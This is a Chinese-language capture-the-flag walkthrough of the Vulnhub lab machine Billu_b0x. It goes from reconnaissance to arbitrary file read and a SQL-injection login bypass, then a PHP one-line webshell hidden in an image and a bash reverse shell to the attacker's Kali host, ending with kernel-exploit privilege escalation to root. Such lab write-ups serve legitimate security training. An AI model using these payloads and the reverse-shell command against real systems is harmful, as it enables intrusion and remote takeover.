一、靶場詳情
Billu_b0x 是 Vulnhub 上的經典中等難度靶機,主要考察從信息收集到提權的完整滲透流程:先通過端口和目錄掃描發現網站入口,利用 SQL 注入或文件包含進入后臺并上傳 WebShell,再通過反彈 Shell 獲取低權限用戶,最后結合內核漏洞完成提權,最終拿到 root 權限,非常適合初學者系統練習 Web 滲透與 Linux 提權。
- vulnhub 官網:Vulnerable By Design ~ VulnHub
- 靶機下載地址:https://download.vulnhub.com/billu/Billu_b0x.zip
配置介紹:
- 靶機:192.168.50.129
- kali:192.168.50.130
二、信息收集
1.獲取目標 ip
通過 arp-scan -l 掃描到在線主機(靶機)
arp-scan -l
2.掃描目標信息
通過 nmap 掃描目標詳情,得知靶機開啟了 80 和 22 端口。
nmap -p- 192.168.50.129
訪問 80 端口,發現該頁面存在登錄功能。
3. 對該 web 服務進行目錄掃描
dirsearch -u http://192.168.50.129/ -i 200
目錄掃描,掃描出 add.php,head.php,c,phpmy/,test.php 等頁面,依次訪問。
test.php 頁面
phpmy/頁面
三、漏洞發現及利用
1.任意文件讀取
經過信息收集發現 test.php 頁面,該頁面提示給 file 參數進行傳值,先進行 get 傳參,發現沒任何變化,那就抓包 post 傳參。令 file=/etc/passwd,發包發現返回內容,則此處存在任意文件讀取漏洞。令 file=信息收集到的幾個頁面,進行源碼查看。
2.繞過登錄
方法 1: 文件包含獲得密碼
在任意文件讀取處,令 file=信息收集到的幾個頁面,進行源碼查看。經過幾個頁面的分析,發現幾個有用的信息。
令 file=c 時,疑似得到數據庫的賬號和密碼。想到在信息收集時,收集到了 phpmy/頁面為 phpmyadmin 登錄頁面。
拿此密碼進行登錄嘗試,發現登錄成功。
發現該數據庫中存在 ica_lab 庫,該庫中有 3 張表,auth 表中存有賬號密碼。
懷疑是主頁面的登錄賬號密碼,進行登錄嘗試,發現登錄成功。
方法 2:sql 注入
通過文件包含 index.php 主頁面,可以知道該登錄機制的源碼
if(isset($_POST['login']))
{$uname=str_replace('\'','',urldecode($_POST['un']));$pass=str_replace('\'','',urldecode($_POST['ps']));$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';$result = mysqli_query($conn, $run);
參數uname和pass都對單引號做了過濾,單引號轉化為空,最后的 sql 執行語句因該如下
select * from auth where pass='$pass' and uname='$uname'
當傳入的密碼為 \ 時,sql 語句變為
select * from auth where pass='\' and uname='$uname'
當傳入的用戶名為 or 1=1#時,sql 語句變為
select * from auth where pass='\' and uname='or 1=1#'
即 username=or 1=1#,password=\ 可繞過登錄。
登錄成功。
3.文件包含利用
(1)分析數據包
在登錄之后,右鍵查看源碼,發現圖片存放的地址,可得到圖片存放的地址。
抓包分析該頁面的數據包。
使用前面發現的任意文件讀取漏洞查看該頁面源碼。
經過分析發現,此處存在文件包含漏洞,會將包含的文件當做 php 執行,又知道上傳圖片存放的地址,則這里可以使用圖片馬進行利用。
(2)圖片馬制作
copy 1.jpg/b+yijuhua.php/a tupianma.jpg#copy,Windows 的文件復制命令,但它有一個特性:支持文件拼接。
#1.jpg/b,1.jpg 是一個圖片文件,/b 表示 以二進制模式復制,防止換行符、EOF 等問題。
#+,代表把多個文件合并。
#yijuhua.php/a,yijuhua.php 是一個 PHP 文件(一句話木馬,<?php system($_GET['cmd']);?>),/a 表示 以 ASCII 模式復制。
#tupianma.jpg,輸出的目標文件名,即最終生成的文件。
將制作好的一句話木馬圖片上傳,然后令 load 參數的值為該木馬圖片的路徑。因為此處是通過抓包修改參數進行的文件包含,具有一次性,故不能進行蟻劍連接。
因為幾句話木馬為<?php system($_GET['cmd']);?>,所有在抓包修改時,直接在 get 請求中添加 cmd 參數進行觸發木馬。可以看到,命令執行成功。
(3)反彈 shell
這里需要使用反彈 shell 的方式連接靶機。
首先需要在 kali 中開啟端口監聽。
其次使用 cmd 參數執行命令,進行反彈 shell。
echo "bash -i > /dev/tcp/192.168.50.130/4444 0>&1" | bash
# bash -i,啟動一個 交互式 bash shell
# > /dev/tcp/192.168.33.130/4444 把當前 shell 的標準輸出重定向到攻擊者 192.168.33.130:4444 上。
# 0>&1,這表示把 標準輸入(fd 0)重定向到標準輸出(fd 1)。
注意,需要對該命令進行 url 編碼
echo+%22bash+-i+%3e+%2fdev%2ftcp%2f192.168.50.130%2f4444+0%3e%261%22+%7c+bash
點擊發送,發現 kali 中已經成功連接。
因為通過 nc
拿到的 shell 是 最簡陋的 TTY:
- 沒有命令提示符
- 沒有命令補全(Tab)
- 輸入密碼時也不會顯示
*
- 輸出可能亂碼或顯示不完整
可以在反彈 shell 里輸入以下命令升級 shell
python -c 'import pty; pty.spawn("/bin/bash")'
(4)查看系統版本信息
cat /etc/*release
四、提權
1.查找 exp
在得知靶機的系統版本后,在 kali 中搜索是否有該版本的漏洞。
searchsploit Ubuntu 12.04
可以利用37292.c 這個 exp,首先將 37292.c 這個文件復制到桌面的 billu 文件中。
locate 37292.c #查詢37292.c文件的位置
cp .c billu #將.c文件復制到billu中
2.開啟 http 服務
在 billu 文件中,開啟 http 服務,以便可以下載該文件到靶機中。
python -m http.server 8080
接下來使用 weget 將 37292.c 文件從 kali 中下載到靶機中。這里需要注意,/var/www 目錄下沒有寫入的權限,需要先將目錄切換到/var/tmp 中,將 37292.c 文件下載到/var/tmp 中。
3.編譯,賦權,執行
接下來就是要對該文件進行編譯,賦權,執行。獲得 root 權限
gcc 37292.c -o 37292 #將該文件編譯后輸出為37292chmod +x 37292 #給編譯好的文件執行權限./37292 #執行文件